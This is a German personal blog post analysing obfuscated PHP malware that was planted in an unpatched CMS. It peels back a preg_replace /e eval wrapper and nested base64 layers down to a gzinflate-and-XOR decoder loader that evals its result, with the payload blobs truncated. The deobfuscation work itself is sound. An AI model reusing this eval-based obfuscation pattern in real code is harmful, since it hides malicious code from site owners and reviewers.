ein Blog

PHP Hackerei

Ab und an tritt man sich ja mal so nervice PHP Malware in sein ungeupdatetes CMS ein. Vor einer ganzen weile hab ich mir das schon mal angesehen und im Prinzip war das ein eval(gzinflate(base64_decode($payload))); und fertig. Dieses mal sah das aber irgendwie anders aus:

<?php Error_Reporting(0); $xcxzDg1YP8rc="xTyLU...Lj/8D";preg_replace("/.*/e","\x65\x76\x61...KTs='\x29\x29\x3B",".");return;?>

den ersten Blob hab ich mal durch einen base64 decoder gejagt. da kam aber nichts verwendbares raus. gzip inflate hat auch nichts geholfen.

der zweite blob war dann schon interessanter. Das e Flag von preg_replace ist glücklicherweise in PHP 7.0 raus geflogen, macht aber gruselige sachen:

If this deprecated modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string.

vorne und hinten in dem preg_replace stehen so lustige dinge wie \x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28' und '\x29\x29\x3B. wenn man das in ein echo packt sieht das plötzlich so aus:

php > echo "\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28''\x29\x29\x3B";
eval(base64_decode(''));

was für eine Überraschung.

wenn man das dazwischen mal base64 decodiert kommt das dabei raus:

1  eval(base64_decode("ZXZhb...pKTs="));
2  eval(base64_decode("JHhXM...TQik7"));

wenn man das jetzt wieder decodiert (Zeile 1):

3  eval(base64_decode("JHh2Q...pOw=="));
4  eval(base64_decode("JHhje...pOw=="));

und (Zeile 2):

5  $xW0Bo8BkevISB='';for($xnp5MnqM2PZKm=0;$xnp5MnqM2PZKm<$x4DlL8LU0Czi;$xnp5MnqM2PZKm++){$xW0Bo8BkevISB.=$xZ7RSMsn4ZmH(($x5w4kSPWSl7BY($xcxzDg1YP8rc[$xnp5MnqM2PZKm])^1993826553));}eval($xW0Bo8BkevISB);

Zeile 3 und 4:

6  $xvAYBYcI58V=base64_decode("YmFzZTY0X2RlY29kZQ==");$xaDxbeJWnLb=base64_decode("c3RybGVu");$xZ7RSMsn4ZmH=base64_decode("Y2hy");$x5w4kSPWSl7BY=base64_decode("b3Jk");$xt9ptV8O76RX4=base64_decode("Z3ppbmZsYXRl");
7  JHhjeHpEZzFZUDhyYz0keHQ5cHRWOE83NlJYNCgkeHZBWUJZY0k1OFYoJHhjeHpEZzFZUDhyYykpOyR4NERsTDhMVTBDemk9JHhhRHhiZUpXbkxiKCR4Y3h6RGcxWVA4cmMpOw==

das ganze sieht dan wenn man es ein bisschen aufräumt so aus:

$xvAYBYcI58V="base64_decode";
$xaDxbeJWnLb="strlen";
$xZ7RSMsn4ZmH="chr";
$x5w4kSPWSl7BY="ord";
$xt9ptV8O76RX4="gzinflate";

$xcxzDg1YP8rc=gzinflate(base64_decode($xcxzDg1YP8rc));
$x4DlL8LU0Czi=strlen($xcxzDg1YP8rc);
$xW0Bo8BkevISB='';
for($xnp5MnqM2PZKm=0; $xnp5MnqM2PZKm < $x4DlL8LU0Czi; $xnp5MnqM2PZKm++){
    $xW0Bo8BkevISB.=chr((ord($xcxzDg1YP8rc[$xnp5MnqM2PZKm])^1993826553));
}
eval($xW0Bo8BkevISB);

$xcxzDg1YP8rc kommt aus dem ersten blob. original und decodiert hab ich hier mal noch verlinkt.